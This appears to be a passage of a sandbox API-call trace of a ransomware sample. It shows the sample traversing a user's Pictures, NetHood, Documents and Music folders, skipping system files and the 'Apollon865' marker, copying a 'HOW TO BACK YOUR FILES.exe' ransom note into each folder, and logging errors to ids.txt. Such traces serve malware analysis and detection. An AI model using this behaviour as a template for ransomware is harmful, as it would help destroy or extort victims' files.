	[0040.372] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="EfKnGxZUf5_3xx4I.png" | out: lpString1="EfKnGxZUf5_3xx4I.png") returned="EfKnGxZUf5_3xx4I.png"
	[0040.372] lstrlenW (lpString="EfKnGxZUf5_3xx4I.png") returned 20
	[0040.372] lstrlenW (lpString="Apollon865") returned 10
	[0040.372] lstrcmpiW (lpString1="_3xx4I.png", lpString2="Apollon865") returned -1
	[0040.372] lstrlenW (lpString=".dll") returned 4
	[0040.372] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2=".dll") returned 1
	[0040.372] lstrlenW (lpString=".lnk") returned 4
	[0040.372] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2=".lnk") returned 1
	[0040.372] lstrlenW (lpString=".ini") returned 4
	[0040.372] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2=".ini") returned 1
	[0040.372] lstrlenW (lpString=".sys") returned 4
	[0040.372] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2=".sys") returned 1
	[0040.372] lstrlenW (lpString="EfKnGxZUf5_3xx4I.png") returned 20
	[0040.372] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="FpuhSn.bmp" | out: lpString1="FpuhSn.bmp") returned="FpuhSn.bmp"
	[0040.372] lstrlenW (lpString="FpuhSn.bmp") returned 10
	[0040.372] lstrlenW (lpString="Apollon865") returned 10
	[0040.372] lstrlenW (lpString=".dll") returned 4
	[0040.372] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2=".dll") returned 1
	[0040.372] lstrlenW (lpString=".lnk") returned 4
	[0040.372] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2=".lnk") returned 1
	[0040.372] lstrlenW (lpString=".ini") returned 4
	[0040.372] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2=".ini") returned 1
	[0040.372] lstrlenW (lpString=".sys") returned 4
	[0040.372] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2=".sys") returned 1
	[0040.372] lstrlenW (lpString="FpuhSn.bmp") returned 10
	[0040.372] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="KbNeAnEtW32z3.jpg" | out: lpString1="KbNeAnEtW32z3.jpg") returned="KbNeAnEtW32z3.jpg"
	[0040.372] lstrlenW (lpString="KbNeAnEtW32z3.jpg") returned 17
	[0040.373] lstrlenW (lpString="Apollon865") returned 10
	[0040.373] lstrcmpiW (lpString1="tW32z3.jpg", lpString2="Apollon865") returned 1
	[0040.373] lstrlenW (lpString=".dll") returned 4
	[0040.373] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2=".dll") returned 1
	[0040.373] lstrlenW (lpString=".lnk") returned 4
	[0040.373] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2=".lnk") returned 1
	[0040.373] lstrlenW (lpString=".ini") returned 4
	[0040.373] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2=".ini") returned 1
	[0040.373] lstrlenW (lpString=".sys") returned 4
	[0040.373] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2=".sys") returned 1
	[0040.373] lstrlenW (lpString="KbNeAnEtW32z3.jpg") returned 17
	[0040.373] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="mhK2i-l2pHf.jpg" | out: lpString1="mhK2i-l2pHf.jpg") returned="mhK2i-l2pHf.jpg"
	[0040.373] lstrlenW (lpString="mhK2i-l2pHf.jpg") returned 15
	[0040.373] lstrlenW (lpString="Apollon865") returned 10
	[0040.373] lstrcmpiW (lpString1="-l2pHf.jpg", lpString2="Apollon865") returned 1
	[0040.373] lstrlenW (lpString=".dll") returned 4
	[0040.373] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2=".dll") returned 1
	[0040.373] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="ON_bgqgpcKfSVx.gif" | out: lpString1="ON_bgqgpcKfSVx.gif") returned="ON_bgqgpcKfSVx.gif"
	[0040.373] lstrlenW (lpString="ON_bgqgpcKfSVx.gif") returned 18
	[0040.373] lstrlenW (lpString="Apollon865") returned 10
	[0040.373] lstrcmpiW (lpString1="cKfSVx.gif", lpString2="Apollon865") returned 1
	[0040.373] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="S4zg18tLwX5G0uLCLj.jpg" | out: lpString1="S4zg18tLwX5G0uLCLj.jpg") returned="S4zg18tLwX5G0uLCLj.jpg"
	[0040.373] lstrlenW (lpString="S4zg18tLwX5G0uLCLj.jpg") returned 22
	[0040.373] lstrlenW (lpString="Apollon865") returned 10
	[0040.373] lstrcmpiW (lpString1="0uLCLj.jpg", lpString2="Apollon865") returned -1
	[0040.373] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="s5bK7YBiAUe3.jpg" | out: lpString1="s5bK7YBiAUe3.jpg") returned="s5bK7YBiAUe3.jpg"
	[0040.373] lstrlenW (lpString="s5bK7YBiAUe3.jpg") returned 16
	[0040.373] lstrlenW (lpString="Apollon865") returned 10
	[0040.373] lstrcmpiW (lpString1="BiAUe3.jpg", lpString2="Apollon865") returned 1
	[0040.374] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="SfCev0kQDQOrN_co.gif" | out: lpString1="SfCev0kQDQOrN_co.gif") returned="SfCev0kQDQOrN_co.gif"
	[0040.374] lstrlenW (lpString="SfCev0kQDQOrN_co.gif") returned 20
	[0040.374] lstrlenW (lpString="Apollon865") returned 10
	[0040.374] lstrcmpiW (lpString1="OrN_co.gif", lpString2="Apollon865") returned 1
	[0040.374] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="SIc7.gif" | out: lpString1="SIc7.gif") returned="SIc7.gif"
	[0040.374] lstrlenW (lpString="SIc7.gif") returned 8
	[0040.374] lstrlenW (lpString="Apollon865") returned 10
	[0040.374] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="zlfNUhEGfxu7sXLips.png" | out: lpString1="zlfNUhEGfxu7sXLips.png") returned="zlfNUhEGfxu7sXLips.png"
	[0040.374] lstrlenW (lpString="zlfNUhEGfxu7sXLips.png") returned 22
	[0040.374] lstrlenW (lpString="Apollon865") returned 10
	[0040.374] lstrcmpiW (lpString1="sXLips.png", lpString2="Apollon865") returned 1
	[0040.374] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV"
	[0040.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0040.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0040.374] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV") returned 48
	[0040.374] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV"
	[0040.374] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.374] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.379] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.379] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17e2e040, ftCreationTime.dwHighDateTime=0x1d4d007, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.379] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.379] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.379] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.379] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17e2e040, ftCreationTime.dwHighDateTime=0x1d4d007, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.379] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.379] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.379] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.379] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.379] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f2c780, ftCreationTime.dwHighDateTime=0x1d4c9a9, ftLastAccessTime.dwLowDateTime=0xf65f4e20, ftLastAccessTime.dwHighDateTime=0x1d4ccf2, ftLastWriteTime.dwLowDateTime=0xf65f4e20, ftLastWriteTime.dwHighDateTime=0x1d4ccf2, nFileSizeHigh=0x0, nFileSizeLow=0xba7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="elhfq4Hany-ai6Ffzs3F.png", cAlternateFileName="ELHFQ4~1.PNG")) returned 1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="Apollon865.txt.exe") returned 1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2=".") returned 1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="..") returned 1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="windows") returned -1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="bootmgr") returned 1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="temp") returned -1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="pagefile.sys") returned -1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="boot") returned 1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="ids.txt") returned -1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="ntuser.dat") returned -1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="perflogs") returned -1
	[0040.379] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="MSBuild") returned -1
	[0040.379] lstrlenW (lpString="elhfq4Hany-ai6Ffzs3F.png") returned 24
	[0040.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\*") returned 50
	[0040.380] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="elhfq4Hany-ai6Ffzs3F.png" | out: lpString1="elhfq4Hany-ai6Ffzs3F.png") returned="elhfq4Hany-ai6Ffzs3F.png"
	[0040.380] lstrlenW (lpString="elhfq4Hany-ai6Ffzs3F.png") returned 24
	[0040.380] lstrlenW (lpString="Apollon865") returned 10
	[0040.380] lstrcmpiW (lpString1="Ffzs3F.png", lpString2="Apollon865") returned 1
	[0040.380] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="G1cm-ONDud.bmp" | out: lpString1="G1cm-ONDud.bmp") returned="G1cm-ONDud.bmp"
	[0040.380] lstrlenW (lpString="G1cm-ONDud.bmp") returned 14
	[0040.380] lstrlenW (lpString="Apollon865") returned 10
	[0040.380] lstrcmpiW (lpString1="-ONDud.bmp", lpString2="Apollon865") returned 1
	[0040.380] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="otdU2cOqhwT4glBl0o6T.bmp" | out: lpString1="otdU2cOqhwT4glBl0o6T.bmp") returned="otdU2cOqhwT4glBl0o6T.bmp"
	[0040.380] lstrlenW (lpString="otdU2cOqhwT4glBl0o6T.bmp") returned 24
	[0040.380] lstrlenW (lpString="Apollon865") returned 10
	[0040.380] lstrcmpiW (lpString1="Bl0o6T.bmp", lpString2="Apollon865") returned 1
	[0040.380] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="q1ktnr O.gif" | out: lpString1="q1ktnr O.gif") returned="q1ktnr O.gif"
	[0040.380] lstrlenW (lpString="q1ktnr O.gif") returned 12
	[0040.380] lstrlenW (lpString="Apollon865") returned 10
	[0040.380] lstrcmpiW (lpString1="ktnr O.gif", lpString2="Apollon865") returned 1
	[0040.380] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="QVmngVKSHbd.gif" | out: lpString1="QVmngVKSHbd.gif") returned="QVmngVKSHbd.gif"
	[0040.380] lstrlenW (lpString="QVmngVKSHbd.gif") returned 15
	[0040.380] lstrlenW (lpString="Apollon865") returned 10
	[0040.380] lstrcmpiW (lpString1="VKSHbd.gif", lpString2="Apollon865") returned 1
	[0040.380] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="r 2GYg.bmp" | out: lpString1="r 2GYg.bmp") returned="r 2GYg.bmp"
	[0040.380] lstrlenW (lpString="r 2GYg.bmp") returned 10
	[0040.380] lstrlenW (lpString="Apollon865") returned 10
	[0040.380] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Sr8OAqatKEkrOhAgu1.jpg" | out: lpString1="Sr8OAqatKEkrOhAgu1.jpg") returned="Sr8OAqatKEkrOhAgu1.jpg"
	[0040.380] lstrlenW (lpString="Sr8OAqatKEkrOhAgu1.jpg") returned 22
	[0040.380] lstrlenW (lpString="Apollon865") returned 10
	[0040.380] lstrcmpiW (lpString1="OhAgu1.jpg", lpString2="Apollon865") returned 1
	[0040.381] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="wN4PgFskn1Xx491ZAQQ.gif" | out: lpString1="wN4PgFskn1Xx491ZAQQ.gif") returned="wN4PgFskn1Xx491ZAQQ.gif"
	[0040.381] lstrlenW (lpString="wN4PgFskn1Xx491ZAQQ.gif") returned 23
	[0040.381] lstrlenW (lpString="Apollon865") returned 10
	[0040.381] lstrcmpiW (lpString1="91ZAQQ.gif", lpString2="Apollon865") returned -1
	[0040.381] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="wQ9iMzd6zLFfmhHLY.jpg" | out: lpString1="wQ9iMzd6zLFfmhHLY.jpg") returned="wQ9iMzd6zLFfmhHLY.jpg"
	[0040.381] lstrlenW (lpString="wQ9iMzd6zLFfmhHLY.jpg") returned 21
	[0040.381] lstrlenW (lpString="Apollon865") returned 10
	[0040.381] lstrcmpiW (lpString1="fmhHLY.jpg", lpString2="Apollon865") returned 1
	[0040.381] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Z7Gimw9v2oqI jPiIMTW.png" | out: lpString1="Z7Gimw9v2oqI jPiIMTW.png") returned="Z7Gimw9v2oqI jPiIMTW.png"
	[0040.381] lstrlenW (lpString="Z7Gimw9v2oqI jPiIMTW.png") returned 24
	[0040.381] lstrlenW (lpString="Apollon865") returned 10
	[0040.381] lstrcmpiW (lpString1="PiIMTW.png", lpString2="Apollon865") returned 1
	[0040.381] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="zNLQd.gif" | out: lpString1="zNLQd.gif") returned="zNLQd.gif"
	[0040.381] lstrlenW (lpString="zNLQd.gif") returned 9
	[0040.381] lstrlenW (lpString="Apollon865") returned 10
	[0040.381] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="_MjfMjPlYk-Z.bmp" | out: lpString1="_MjfMjPlYk-Z.bmp") returned="_MjfMjPlYk-Z.bmp"
	[0040.381] lstrlenW (lpString="_MjfMjPlYk-Z.bmp") returned 16
	[0040.381] lstrlenW (lpString="Apollon865") returned 10
	[0040.381] lstrcmpiW (lpString1="PlYk-Z.bmp", lpString2="Apollon865") returned 1
	[0040.381] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood"
	[0040.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb70 | out: hHeap=0x580000) returned 1
	[0040.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0040.381] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned 37
	[0040.381] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood"
	[0040.381] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.381] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.386] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.386] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb9a94a0, ftCreationTime.dwHighDateTime=0x1d4c865, ftLastAccessTime.dwLowDateTime=0x29c554c0, ftLastAccessTime.dwHighDateTime=0x1d4c83f, ftLastWriteTime.dwLowDateTime=0x29c554c0, ftLastWriteTime.dwHighDateTime=0x1d4c83f, nFileSizeHigh=0x0, nFileSizeLow=0x2dfb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_MjfMjPlYk-Z.bmp", cAlternateFileName="_MJFMJ~1.BMP")) returned 0xffffffff
	[0040.386] GetLastError () returned 0x5
	[0040.386] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\* FindFirstFile error 5\r\n") returned 71
	[0040.386] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\* FindFirstFile error 5\r\n") returned 71
	[0040.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.387] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x108e
	[0040.387] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x47, lpOverlapped=0x0) returned 1
	[0040.387] CloseHandle (hObject=0x14c) returned 1
	[0040.388] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0040.388] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents"
	[0040.388] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0040.388] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0040.388] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned 42
	[0040.388] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents"
	[0040.388] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.388] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.392] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.392] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb9a94a0, ftCreationTime.dwHighDateTime=0x1d4c865, ftLastAccessTime.dwLowDateTime=0x29c554c0, ftLastAccessTime.dwHighDateTime=0x1d4c83f, ftLastWriteTime.dwLowDateTime=0x29c554c0, ftLastWriteTime.dwHighDateTime=0x1d4c83f, nFileSizeHigh=0x0, nFileSizeLow=0x2dfb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_MjfMjPlYk-Z.bmp", cAlternateFileName="_MJFMJ~1.BMP")) returned 0xffffffff
	[0040.393] GetLastError () returned 0x5
	[0040.393] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\* FindFirstFile error 5\r\n") returned 76
	[0040.393] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\* FindFirstFile error 5\r\n") returned 76
	[0040.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.393] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10d5
	[0040.393] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x4c, lpOverlapped=0x0) returned 1
	[0040.393] CloseHandle (hObject=0x154) returned 1
	[0040.395] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0040.395] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music"
	[0040.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0040.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0040.395] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 35
	[0040.395] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music"
	[0040.395] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.395] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.399] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.400] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.400] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.400] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.400] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.400] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.400] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.400] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.400] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.400] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd501270, ftCreationTime.dwHighDateTime=0x1d4ca23, ftLastAccessTime.dwLowDateTime=0xaeaa6bc0, ftLastAccessTime.dwHighDateTime=0x1d4d36c, ftLastWriteTime.dwLowDateTime=0xaeaa6bc0, ftLastWriteTime.dwHighDateTime=0x1d4d36c, nFileSizeHigh=0x0, nFileSizeLow=0xdc8f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aimL5n1QruhhhoVz9.wav", cAlternateFileName="AIML5N~1.WAV")) returned 1
	[0040.400] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
